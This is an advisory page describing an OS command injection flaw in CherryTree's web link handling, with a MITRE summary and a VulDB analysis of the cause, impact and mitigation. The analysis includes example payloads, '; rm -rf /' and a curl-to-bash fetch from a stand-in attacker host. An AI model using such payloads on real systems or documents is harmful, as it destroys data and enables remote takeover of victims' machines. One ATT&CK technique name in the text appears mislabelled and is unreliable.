CVE-2026-118692 in CherryTree
Summary
by MITRE • 10/28/2026
CherryTree through 1.7.2 contains an OS command injection vulnerability in CtActions::link_clicked that allows attackers to execute commands by embedding shell metacharacters in web link URLs. When the non-default Custom Web Link Clicked Action option is enabled, attackers can supply crafted documents whose links pass $(...), backticks, or semicolons unquoted to std::system, running commands as the victim on click.
If you want to get best quality of vulnerability data, you may have to visit VulDB.
Analysis
by VulDB Data Team • 10/28/2026
The vulnerability identified in CherryTree versions through 1.7.2 represents a critical OS command injection flaw located within the CtActions::link_clicked function. This security defect arises from improper neutralization of special elements used in operating system commands, specifically when processing web link URLs embedded within documents created by users or downloaded from untrusted sources. The core technical issue stems from the application's handling of user-supplied input where shell metacharacters are not adequately sanitized before being passed to the underlying system execution mechanism. When a user interacts with a hyperlink in a CherryTree document, the software constructs an operating system command string based on the URL and any associated custom actions configured by the user or administrator.
The severity of this vulnerability is significantly amplified when the non-default Custom Web Link Clicked Action option is enabled within the application settings. Under normal circumstances, standard web links are handled with varying degrees of security depending on the browser integration. However, in configurations where a custom action is defined for handling link clicks, CherryTree utilizes std::system to execute commands associated with these events. The flaw lies in the fact that special characters such as dollar signs followed by parentheses $(...), backticks ``, and semicolons ; are passed unquoted directly into this system call. Because std::system invokes a shell interpreter to process the command string, any metacharacters present within the URL data will be interpreted by the shell rather than treated as literal text. This allows an attacker who controls or influences the content of a CherryTree document to inject arbitrary commands that are executed with the privileges of the user running the application.
From an operational perspective, this vulnerability enables remote code execution without requiring authentication if the victim opens a maliciously crafted document and clicks on the embedded link. An adversary can craft a CherryTree file containing links designed to exploit specific shell injection techniques. For instance, appending ; rm -rf / or $(curl attacker.com/shell.sh | bash) to a URL would result in the local system executing these commands immediately upon interaction with the link. The impact is severe as it grants attackers full control over the victim's environment at the user level. This can lead to data exfiltration, installation of malware, pivoting to other systems on the network if lateral movement tools are available, or complete compromise of the workstation depending on the permissions held by the executing user account.
This vulnerability aligns with CWE-78 Improper Neutralization of Special Elements used in an OS Command and is also associated with CWE-94 Improper Control of Generation of Code (Code Injection). In terms of adversary tactics, this exploitation method maps to MITRE ATT&CK technique T1059 Command and Scripting Interpreter, specifically the use of shell commands for execution. It may also relate to T1203 Software Execution via Web Browser if the context involves browser-based interactions, though in this case it is a desktop application acting as the vector. The attack pattern typically falls under Initial Access or Lateral Movement depending on how the malicious document was delivered and what subsequent actions are taken post-exploitation.
Mitigation strategies must address both configuration management and input validation practices. Users should avoid enabling custom web link clicked action options unless absolutely necessary, thereby removing the code path that triggers std::system with unsanitized data. If such functionality is required for legitimate workflow automation, developers must implement strict allowlisting of permitted characters in URLs or ensure all special shell metacharacters are properly escaped before being passed to system calls. Upgrading to a patched version of CherryTree where this input validation has been corrected is the primary remediation step. Additionally, organizations should enforce application whitelisting and restrict user privileges to limit the potential impact if such an injection were to succeed in a targeted attack scenario. Regular security awareness training regarding opening documents from untrusted sources remains essential as social engineering often accompanies these types of client-side vulnerabilities.